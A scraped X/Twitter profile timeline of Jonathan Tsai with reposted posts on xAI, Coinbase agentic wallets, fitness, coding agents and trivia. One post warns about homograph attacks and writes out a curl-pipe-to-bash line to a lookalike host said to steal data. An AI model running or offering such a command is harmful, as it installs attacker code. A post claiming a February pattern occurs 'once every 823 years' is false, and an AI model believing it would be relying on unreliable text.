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Jonathan Tsai Profile
Jonathan Tsai

@jontsai

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41K
Following
35K
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894
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5K

Christian, Husband, Father, Silicon Valley contrarian life-hacker AI geektrepreneur; Creator @Hacktoolkit @ZippyAppJobs; alum @Iterable @YahooSports @Cal

San Francisco Bay Area, CA
Joined October 2008
Don't wanna be here? Send us removal request.
@jontsai
Jonathan Tsai
29 days
一寸光陰一寸金,寸金難買寸光陰。 “An inch of time is worth an inch of gold— but an inch of gold can’t buy back an inch of time.” — Ancient Chinese Proverb
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@elonmusk
Elon Musk
8 hours
xAI was reorganized a few days ago to improve speed of execution. As a company grows, especially as quickly as xAI, the structure must evolve just like any living organism. This unfortunately required parting ways with some people. We wish them well in future endeavors. We are
@xai
xAI
9 hours
Since xAI was formed just 30 months ago, the small and talented team has made remarkable progress. The future has never looked more exciting!
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@HealthcareREguy
Michael Moreno
1 day
Once a man turns 30, he becomes interested in one of the following: - Golf - World War 2 - American or Roman History - Smoking Meats - Craft Beers - Low expense ratio ETFs - Cryptocurrencies - Saunas and Cold Plunges - Fitness trackers - Cast iron skillets -
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@aughtdev
Aught
1 day
@kirawontmiss Evergreen quote
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@brian_armstrong
Brian Armstrong
9 hours
The next unlock for AI agents just launched. @CoinbaseDev released agentic wallets, the first wallet infrastructure designed for AI agents. Now agents can spend, earn, and trade autonomously and securely.
@CoinbaseDev
Coinbase Developer Platform🛡️
10 hours
Introducing Agentic Wallets, our first ever wallet infrastructure built specifically for autonomous agents. Give your agent the power of a wallet. Let your agent manage funds, hold identity, and transact onchain without human intervention. 🧵
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@EthanDriskill
Ethan Driskill @ OUTERBLOC
1 day
15+ years as a designer. The only fonts I'll ever need again.
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@jontsai
Jonathan Tsai
21 hours
Hot take: if you can't even do 50 pushups at your own bodyweight, don't even try barbell bench press.
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@levelsio
@levelsio
1 year
If you’re a guy in your early 20s, buy Creatine Go into debt if you have to
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@yegormethod
Yegor
5 months
God gives every young man a multi-million dollar loan the day he turns 18. It's called your twenties. Your energy is the capital. Your time is the currency. Your ability to survive on no sleep and cheap coffee is your unfair advantage. This is not a gift. It is the most
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@AnshulGains
Dr. Anshul Sadhale
3 months
A life time gym membership is still cheaper than buying medicine, hospital stays and Surgeries. Go in debt if you have to but lift weights, eat protein and become the best version of you. Preventive healthcare!
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@baoskee
baoskee
1 day
@shahh "there is only three ways a smart person can go broke: liquor, ladies and leverage" -- Charlie Munger
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@steipete
Peter Steinberger 🦞
5 days
How the sauce is made @openclaw
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@JesterJum
Jum
10 days
If you ever forget that English is a difficult language, just remember: Read and lead rhyme and read and lead rhyme, but read and lead don't rhyme and neither do read and lead.
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@0xSweep
Sweep
9 days
This $200M bank is backed by Parmesan Cheese and is lending people money for cheese In Northern Italy, Credito Emiliano treats cheese like gold The bank currently holds 430,000 wheels of Parmesan worth about $200 million Real Parmesan takes two to three years to get ready
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@milesdeutscher
Miles Deutscher
9 days
This is pure gold. This Claude prompt will teach you how to become an ELITE prompt engineer in <24 hours. You'll save on token usage and instantly get better responses from Claude models. Just paste this into a brand new project:
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@sheeki03
Sheeki
9 days
Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your
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github.com
Your browser catches homograph attacks. Your terminal doesn't. Tirith guards the gate — intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute. - sheeki03/tirith
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@ryancarson
Ryan Carson
10 days
Holy shit. Now I've truly seen the light with @openclaw. This is not a toy or a shiny object. This is how you'll "hire" engineers in the future. It's setup on my iMac next to me, with it's own github account, vercel account and it's shipping real PRs for me. (It just went
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@yo_Obamaa
OBAMA🇺🇸🇬🇭
11 days
This February month is special 4 Mondays 4 Tuesdays 4 Wednesdays 4 Thursdays 4 Fridays 4 Saturdays 4 Sundays This only happens once every 823 years!
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@DmitryFatkhi
Dmitry Fatkhi
10 days
100x engineers don’t review code line by line. They design the environment the code is allowed to exist in. Coding agents are constrained by: - tests that define behavior - strict lint rules that eliminate entire classes of mistakes - constant AI self-review loops So you
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